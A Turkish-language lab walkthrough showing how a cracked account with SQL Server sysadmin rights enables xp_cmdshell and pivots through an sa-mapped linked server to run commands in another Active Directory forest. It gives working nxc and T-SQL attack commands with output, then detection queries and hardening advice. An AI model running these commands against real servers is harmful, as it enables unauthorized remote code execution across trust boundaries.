---
title: "SQL Server Linked Server ile Ormanlar Arası Sıçrama: Kerberos Güven Sınırlarını Aşmak"
description: "GOAD laboratuvarında SQL Server linked server üzerinden yanal hareket: kırılan bir servis hesabından (jon.snow) north\sql_svc olarak xp_cmdshell çalıştırmaya ve sa eşlemeli linked server üzerinden essos\sql_svc'ye Kerberos güven doğrulaması olmadan sıçramaya."
date: 2026-11-05
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/yazilar/mssql-linked-servers/
---

## Saldırı Yüzeyi: Gizli Güven Sınırları Olarak Veritabanı Bağlantıları

Active Directory sızma testlerinde operatörler çoğu zaman yalnızca LDAP, Kerberos ve Domain Controller saldırı yollarına odaklanır. Oysa etki alanına üye sunucularda çalışan veritabanı servisleri, etki alanı ve orman sınırlarını aşan bağımsız kimlik doğrulama köprüleri kurar. Bu köprüler envanterde nadiren görünür; çünkü bir uygulamanın çalışması için kurulmuşlardır ve güvenlik açısından çoğu zaman gözden kaçarlar.

Microsoft SQL Server mimarisinde **Linked Server (Bağlantılı Sunucu)**, yerel bir SQL örneğinin harici bir veritabanı örneğine karşı dağıtık sorgular ve uzak yordam çağrıları (RPC) yürütmesini sağlar. Buradaki kritik nokta şudur: SQL Server, istemcinin orijinal Kerberos kimliğini uzak hedefte kullanılan kimlik bilgisinden bilinçli olarak ayırır. Bir linked server sabit bir login eşlemesiyle yapılandırıldığında süreç şöyle işler:

1. İstemci, geçerli domain kimlik bilgileriyle yerel SQL örneğinde oturum açar.
2. İstemci, bağlantılı sunucuyu hedefleyen bir sorgu veya RPC isteği gönderir.
3. Yerel SQL Server süreci, `sys.linked_logins` tablosunda tanımlanmış statik kimlik bilgilerini (örneğin yüksek yetkili `sa` hesabını) kullanarak hedef sunucuya bağımsız bir bağlantı kurar.
4. Uzak sunucu, komutu eşlenen login'in güvenlik bağlamında çalıştırır. Böylece Active Directory orman güven sınırları, SID filtering ve Kerberos bilet doğrulaması tamamen devre dışı kalır.

Dördüncü adım işin özüdür: Uzak sunucu, gelen bağlantının hangi ormana ait olduğunu ya da istemcinin gerçek kimliğini görmez. Yalnızca yapılandırılmış SQL login'inin güvenlik bağlamını uygular. Bu yüzden bir ormanda ele geçirilen sıradan bir hesap, başka bir ormanda hiçbir kullanıcı barındırmadan oradaki veritabanı üzerinden işletim sistemi komutu çalıştırabilir.

GOAD ortamında bu mimari tam olarak bunu mümkün kılar: `north.sevenkingdoms.local` etki alanında ele geçirilen bir servis hesabı, Active Directory orman güveni üzerinden kimlik doğrulamadan `essos.local` etki alanındaki bir sunucuda `essos` domain principal'ı olarak işletim sistemi komutları çalıştırır.

---

## 1. Aşama: Yerel Veritabanı Dayanağı ve Yetki Doğrulama

GOAD değerlendirmesinin ikinci aşamasında, Kerberoast edilebilir bir Service Principal Name'in (`CIFS/thewall.north.sevenkingdoms.local`) çevrimdışı kırılması `jon.snow:iknownothing` kimlik bilgisini verdi. Hesap dosya paylaşımı servisi için hazırlanmış olsa da aynı hesap, üye sunucu `CASTELBLACK` (`192.168.56.22`) üzerindeki SQL Server örneğinde `sysadmin` sunucu rolüne sahipti. Bu ayrıntı, hesabı veritabanı tarafında beklenmedik ölçüde güçlü kılar; çünkü `sysadmin` yalnızca veritabanı okumakla kalmaz, örnek üzerinde neredeyse tam kontrol anlamına gelir.

Tabular Data Stream (`TDS`, TCP port 1433) protokolü üzerinden `NetExec` (`nxc`) ile bağlanmak yüksek yetkili erişimi doğrular:

```bash
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local
MSSQL  192.168.56.22  1433  CASTELBLACK  [+] north.sevenkingdoms.local\jon.snow:iknownothing (Pwn3d!)
```

Çıktıdaki `(Pwn3d!)` ifadesi, hesabın `sysadmin` sabit sunucu rolüne üye olduğunu gösterir. Bu rol, `xp_cmdshell` gibi genişletilmiş yordamları açma ve sunucu yapılandırmasını değiştirme yetkisini de beraberinde getirir. T-SQL üzerinden doğrulama şu sorgularla yapılır:

```sql
SELECT IS_SRVROLEMEMBER('sysadmin');  -- Returns 1 (True)
SELECT SYSTEM_USER, USER_NAME();       -- Returns 'NORTH\jon.snow', 'dbo'
```

---

## 2. Aşama: Bağlantılı Sunucu Topolojisinin Keşfi

İzleyen veritabanı bağlantılarını bulmak için SQL Server'ın meta veri katalog görünümlerini (`sys.servers` ve `sys.linked_logins`) sorgularız. Bu iki görünüm birlikte, hangi uzak örneklerin tanımlı olduğunu ve hangi yerel login'in hangi uzak login'e eşlendiğini gösterir:

```sql
-- Enumerate configured remote and linked servers
SELECT server_id, name, product, provider, data_source, is_linked, is_remote_login, is_rpc_out_enabled 
FROM sys.servers 
WHERE is_linked = 1;

-- Enumerate credential mappings for linked instances
SELECT s.name AS linked_server, l.remote_name, l.uses_self_credential
FROM sys.servers s
JOIN sys.linked_logins l ON s.server_id = l.server_id;
```

Aynı numaralandırmayı NetExec'in `enum_links` modülüyle de çalıştırabilirsin:

```bash
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M enum_links
ENUM_LINKS  [+] Linked servers found:
ENUM_LINKS  [*]   - BRAAVOS
ENUM_LINKS  [*] Linked server: BRAAVOS
ENUM_LINKS  [*]   - Local login: NORTH\jon.snow
ENUM_LINKS  [*]   - Remote login: sa
```

Çıktı iki önemli şey söyler: `BRAAVOS` adlı bir linked server vardır ve `NORTH\jon.snow` yerel login'i uzak tarafta `sa` ile eşlenmiştir. Yani bağlantı, çağıranın kimliğini karşı tarafa taşımaz; sabit ve çok yetkili bir login'e geçer.

### Protokol Mekaniği: Uzak Yordam Çağrısı (RPC) Yapılandırması

`sys.servers` görünümündeki iki öznitelik, komutların bağlantılı sunucuya nasıl yönlendirilebileceğini belirler:

1. `is_data_access_enabled`: `OPENQUERY()` fonksiyonu kullanılarak dağıtık SQL sorgularının çalıştırılmasına izin verir.
2. `is_rpc_out_enabled`: `EXEC (...) AT [ServerName]` sözdizimi kullanılarak doğrudan RPC komutlarının çalıştırılmasına izin verir.

Bu iki bayrağın anlamı pratiktir: Yalnızca veri erişimi açıksa uzak taraftan sorgu sonucu okuyabilirsin; RPC out da açıksa uzak örnekte prosedür çağırabilir, hatta `xp_cmdshell` gibi genişletilmiş yordamları tetikleyebilirsin. Bu ortamda `BRAAVOS` (`192.168.56.23`, `essos.local` ormanında) `is_rpc_out_enabled = 1` ile yapılandırılmıştır ve `NORTH\jon.snow` üzerinden gelen tüm sorguları uzaktaki `sa` (System Administrator) SQL login'ine eşler. Yani north tarafında sıradan bir domain kullanıcısıyken, essos tarafında veritabanının en yetkili hesabıyla konuşursun.

---

## 3. Aşama: `xp_cmdshell` ile Yerel Kod Çalıştırma

Bağlantı üzerinden atlamadan önce, `CASTELBLACK` üzerinde işletim sistemi komutu çalıştırma yeteneğini genişletilmiş saklı yordam `xp_cmdshell` ile doğrularız. Üretim ortamlarında `xp_cmdshell` varsayılan olarak kapalıdır; ancak `sysadmin` rolündeki kullanıcılar bunu talep üzerine yeniden açabilir:

```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

NetExec üzerinden komut yürütme:

```bash
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -x "whoami /all"
MSSQL  [+] Executed command via mssqlexec
MSSQL  north\sql_svc
```

### Servis Kimliğinin Önemi

Komut `north\sql_svc` güvenlik bağlamında çalışır. Buradaki ayrıntı, sürecin hangi kimlikle başlatıldığıdır. SQL Server, yerel bir sanal servis kimliği (`NT SERVICE\MSSQLSERVER`) veya makine hesabı yerine bir domain kullanıcısıyla çalışacak şekilde yapılandırıldığı için bu fark kritik hale gelir:

- Başlatılan alt süreç, `north.sevenkingdoms.local` içinde kimlik veren geçerli bir Kerberos biletine sahiptir.
- `xp_cmdshell` üzerinden oluşturulan tüm süreçler domain ağ erişimini devralır; bu sayede SMB paylaşımları, iç LDAP dizinleri ve Kerberos KDC'leriyle kimlik doğrulamalı iletişim kurulabilir.

Kısacası `xp_cmdshell`, yalnızca yerel bir komut kabuğu değil, domain içinde kimlik doğrulayabilen bir süreç açar. Saldırganın elinde artık makinenin ötesine geçen bir kimlik vardır.

---

## 4. Aşama: `essos.local` Ormanına Bağlantılı Yürütme

`BRAAVOS` `sa` hesabına eşlendiği için komutlar bağlantı üzerinden uzakta çalıştırılabilir. Ancak önce uzak örnekte `xp_cmdshell` açık olmalıdır; bunu RPC bağlantısından bir yapılandırma toplu işi göndererek yaparız:

```bash
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local \
    -M link_enable_cmdshell -o ACTION=enable LINKED_SERVER=BRAAVOS
LINK_ENABLE  [*] Enabling xp_cmdshell on BRAAVOS. Current value: False
LINK_ENABLE  [+] xp_cmdshell enabled on BRAAVOS
```

Perde arkasında şu dağıtık T-SQL ifadesi çalışır:

```sql
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [BRAAVOS];
```

Burada `sp_configure` çağrısının yerel örnekte değil `BRAAVOS` üzerinde yürütüldüğünü unutma; yani yapılandırma değişikliği doğrudan hedef ormanda gerçekleşir. Etkinleştirmenin ardından `BRAAVOS` üzerinde keyfi işletim sistemi komutları çalıştırılabilir:

```bash
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local \
    -M link_xpcmd -o LINKED_SERVER=BRAAVOS CMD="whoami"
LINK_XPCMD  [*] Running command on BRAAVOS: whoami
LINK_XPCMD  [+] Executed command via linked server
LINK_XPCMD  essos\sql_svc
```

Komut `essos\sql_svc` kimliğini döner. `north.sevenkingdoms.local` içindeki kimliği doğrulanmış bir kullanıcı, hedef ormanda hiçbir kullanıcı hesabı, hash veya Kerberos bileti olmadan `essos.local` içindeki Tier-1 bir sunucuda uzaktan kod çalıştırmıştır. Bu, klasik "orman güveni üzerinden geçiş" anlatısından farklıdır: Geçişi yapan şey Kerberos değil, uygulama katmanındaki sabit SQL login eşlemesidir.

<figure class="diagram">
<svg viewBox="0 0 760 336" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Orman sınırlarını aşan SQL Server bağlantılı sunucu zinciri. Aşama 1: jon.snow kırılan parolayla north domainindeki CASTELBLACK'e bağlanır; sysadmin yetkisiyle north\sql_svc olarak xp_cmdshell açar. Aşama 2: Keşif, sa hesabına eşlenmiş BRAAVOS bağlantılı sunucusunu ortaya çıkarır. Aşama 3: Bağlantı üzerinden EXEC AT ile komut yürütülerek essos.local altındaki braavos'ta hiçbir Kerberos bileti veya orman güven doğrulaması olmadan essos\sql_svc olarak xp_cmdshell çalıştırılır.">
  <defs>
    <marker id="sql-tr-m-crit" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="6" markerHeight="6" orient="auto">
      <path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" />
    </marker>
  </defs>
  <text x="12" y="20" class="dg-muted">SQL SERVER BAĞLANTILI SUNUCU ZİNCİRİ · GÜVEN SINIRLARINI ATLAYAN GEÇİŞ</text>
  <rect x="12" y="36" width="224" height="220" rx="8" class="dg-box" />
  <text x="26" y="60" class="dg-label">1 · CASTELBLACK (.22)</text>
  <text x="26" y="78" class="dg-mono dg-compact">SRV02 · north domain</text>
  <text x="26" y="98" class="dg-muted dg-compact">Oturum: jon.snow (sysadmin)</text>
  <text x="26" y="116" class="dg-mono dg-compact">sp_configure xp_cmdshell, 1</text>
  <text x="26" y="132" class="dg-mono dg-compact">Yerel SQL örneği erişimi</text>
  <rect x="22" y="146" width="204" height="64" rx="6" class="dg-box-accent" />
  <text x="32" y="166" class="dg-accent">YEREL KOD ÇALIŞTIRMA</text>
  <text x="32" y="184" class="dg-mono dg-compact">cmd.exe / powershell.exe</text>
  <text x="32" y="200" class="dg-ok">Çalışan: north\sql_svc</text>
  <text x="26" y="238" class="dg-ok">Durum: Yerel Sunucu Ele Geçti</text>
  <line x1="236" y1="146" x2="266" y2="146" class="dg-line-crit" marker-end="url(#sql-tr-m-crit)" />
  <text x="251" y="138" text-anchor="middle" class="dg-crit dg-compact">Keşif</text>
  <rect x="268" y="36" width="224" height="220" rx="8" class="dg-box" />
  <text x="282" y="60" class="dg-label">2 · BAĞLANTILI SUNUCU</text>
  <text x="282" y="78" class="dg-mono dg-compact">Hedef Bağlantı: BRAAVOS</text>
  <text x="282" y="98" class="dg-muted dg-compact">EXEC sp_linkedservers</text>
  <text x="282" y="116" class="dg-mono dg-compact">data_access = 1 · rpc_out = 1</text>
  <text x="282" y="132" class="dg-mono dg-compact">Saydam SQL tüneli</text>
  <rect x="278" y="146" width="204" height="64" rx="6" class="dg-box-accent" />
  <text x="288" y="166" class="dg-accent">GÜVENLİK HARİTASI</text>
  <text x="288" y="184" class="dg-mono dg-compact">Yerel: Tüm çağıranlar</text>
  <text x="288" y="200" class="dg-accent">Uzak: sa (Sysadmin)</text>
  <text x="282" y="238" class="dg-ok">Durum: Orman Geçişi Aktif</text>
  <line x1="492" y1="146" x2="522" y2="146" class="dg-line-crit" marker-end="url(#sql-tr-m-crit)" />
  <text x="507" y="138" text-anchor="middle" class="dg-crit dg-compact">EXEC AT</text>
  <rect x="524" y="36" width="224" height="220" rx="8" class="dg-box-danger" />
  <text x="538" y="60" class="dg-label dg-danger">3 · BRAAVOS (.23)</text>
  <text x="538" y="78" class="dg-mono dg-compact">SRV03 · essos.local</text>
  <text x="538" y="98" class="dg-accent dg-compact">Uzakta xp_cmdshell tetiklendi</text>
  <text x="538" y="116" class="dg-mono dg-compact">Kerberos bileti gerekmez</text>
  <text x="538" y="132" class="dg-mono dg-compact">Güven denetimi günlüğü yok</text>
  <rect x="534" y="146" width="204" height="64" rx="6" class="dg-box" />
  <text x="544" y="166" class="dg-crit">UZAK ORMANDA RCE</text>
  <text x="544" y="184" class="dg-mono dg-compact">whoami: essos\sql_svc</text>
  <text x="544" y="200" class="dg-danger">Tier-1 Sunucu Ele Geçti</text>
  <text x="538" y="238" class="dg-crit">DURUM: PİVOT TAMAMLANDI</text>
  <rect x="12" y="268" width="736" height="56" rx="8" class="dg-box" />
  <text x="26" y="291" class="dg-muted">GÜVEN SINIRI ETKİSİ ·</text>
  <text x="160" y="291" class="dg-label">sa ile eşleşen SQL linki, Kerberos denetimi olmadan orman güven sınırlarını deler</text>
  <text x="26" y="310" class="dg-mono dg-compact">ÇALIŞTIRMA: CASTELBLACK (north\sql_svc) → OPENQUERY(BRAAVOS) → BRAAVOS (essos\sql_svc)</text>
</svg>
<figcaption>Saldırı zinciri: <code>jon.snow</code>, <code>castelblack</code> üzerinde <code>sysadmin</code> yetkisine sahip olup <code>north\sql_svc</code> olarak kod çalıştırır ve <code>sa</code> eşlemeli linked server üzerinden sıçrayarak <code>braavos</code> üzerinde <code>essos\sql_svc</code> olarak komut yürütür.</figcaption>
</figure>

---

## Savunma Mühendisliği ve Tespit Telemetrisi

### Adli Bilişim İzleri ve Telemetri Matrisi

Bu saldırı zinciri tek bir olayda değil, birkaç farklı telemetri kaynağında iz bırakır. Aşağıdaki tablo, hangi kaynağa ve hangi alana bakman gerektiğini özetler:

| Kaynak | Olay Kimliği (Event ID) | Açıklama | Telemetri Bağlamı |
| :--- | :--- | :--- | :--- |
| **SQL Server** | `15457` | Yapılandırma seçeneği değiştirildi | Uygulama günlüğünde `show advanced options` ve `xp_cmdshell` değerlerinin değiştirilmesini kaydeder. |
| **Sysmon** | `1` | Süreç Oluşturma (Process Creation) | Ana süreç `sqlservr.exe` tarafından alt kabuk süreçlerinin (`cmd.exe`, `powershell.exe`) başlatılması. |
| **Windows Security** | `4624` | Başarılı Oturum Açma | `BRAAVOS` üzerinde, `CASTELBLACK` IP adresinden port 1433 üzerinden gelen Tip 3 (Network) oturumu. Active Directory referans bileti içermez. |
| **SQL Server Audit** | `SCHEMA_OBJECT_ACCESS` | Saklı Yordam Yürütme | `xp_cmdshell` veya `sp_linkedservers` yürütülmesini takip eder. |

```kql
// KQL Query: Detect cmd.exe or powershell.exe Spawned by SQL Server
DeviceProcessEvents
| where InitiatingProcessFileName =~ "sqlservr.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "whoami.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName
```

### Güvenlik Sıkılaştırma ve İyileştirme Protokolleri

1. **En Düşük Yetkili Eşleme Kuralı:** Uzak bağlantılı sunucu bağlantılarını asla `sa` ile eşlemeyin. Bunun yerine uzak örnekte, yalnızca ihtiyaç duyulan tablolara erişen ve yalnızca `SELECT` veya dar kapsamlı saklı yordamlarda `EXECUTE` yetkisi olan özel bir SQL login'i oluşturun. Böylece bir linked server ele geçirilse bile etki alanı veritabanının tamamına yayılmaz.
2. **Uzak RPC Out Özelliğini Kapatın:** Raporlama için yalnızca dağıtık sorgular gerekiyorsa RPC out çağrılarını devre dışı bırakın:
   ```sql
   EXEC sp_serveroption @server = 'BRAAVOS', @optname = 'rpc out', @optvalue = 'FALSE';
   ```
3. **Servis Hesaplarını gMSA Mimarisine Geçirin:** Veritabanı servis hesaplarını standart domain kullanıcılarından **group Managed Service Account (gMSA)** yapısına taşıyın. Bu yapılandırma parola kırma (Kerberoasting) saldırılarını engeller ve etkileşimli ya da ağ belirteci üretimini sınırlar.
4. **Uygulama Login'lerini `sysadmin` Rolünden Çıkarın:** Uygulama servis hesaplarının ve geliştirici hesaplarının `sysadmin` sabit sunucu rolünde bulunmadığını doğrulayın. Bu roller genellikle kolaylık için verilir ve fark edilmeden kalıcı bir yükseltme yolu yaratır.

---

## Kanıt ve sınırlar

MSSQL linked-server numaralandırması, `EXECUTE AS LOGIN` ile kimlik bürünme, `xp_cmdshell` etkinleştirmesi ve çift yönlü `SRV02 ↔ SRV03` ormanlar arası sıçrama, izole GOAD laboratuvarı (`192.168.56.22` ve `192.168.56.23`) içinde yürütülmüştür. Tüm veritabanı login'leri ve servis hesapları GOAD'ın önceden hazırlanmış SQL Server örneklerine aittir. Buradaki sonuçlar, sabit bir `sa` eşlemesi ve açık RPC out gibi kasıtlı laboratuvar yapılandırmalarına dayanır; her linked server kurulumunun aynı şekilde istismar edilebileceği anlamına gelmez.

## Kaynaklar

- **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **NetSPI, SQL Server Link Crawling with PowerUpSQL:** [netspi.com](https://www.netspi.com/blog/technical-blog/network-pentesting/sql-server-link-crawling-powerupsql/)
- **NetExec Documentation, MSSQL Module:** [www.netexec.wiki](https://www.netexec.wiki/)
- **HackTricks, Pentesting MSSQL:** [book.hacktricks.xyz](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server)
- **Microsoft, sp_addlinkedserver Documentation:** [learn.microsoft.com](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addlinkedserver-transact-sql)
- **MITRE ATT&CK, Remote Services (T1021):** [attack.mitre.org/techniques/T1021/](https://attack.mitre.org/techniques/T1021/)
